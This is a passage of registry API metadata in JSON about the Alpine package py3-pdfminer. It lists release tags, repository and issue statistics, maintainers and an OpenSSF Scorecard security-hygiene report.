ags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:19.043Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":10.036825197837498,"stargazers_count":2.193841573297814,"forks_count":1.778578704066442,"average":3.5023113688004384},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":59,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-02-05T15:56:21.887Z","updated_at":"2023-02-05T15:56:21.887Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.12","url":"https://pkgs.alpinelinux.org/packages?branch=v3.12","ecosystem":"alpine","default":false,"packages_count":12763,"maintainers_count":216,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.748Z","updated_at":"2026-04-27T18:20:26.910Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/namespaces"}},{"id":6235590,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2019-11-05T15:33:57.000Z","latest_release_published_at":"2019-11-05T15:33:57.000Z","latest_release_number":"20191020-r1","last_synced_at":"2026-04-01T01:15:30.549Z","created_at":"2023-02-01T04:46:34.870Z","updated_at":"2026-04-01T01:15:30.549Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.11/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","k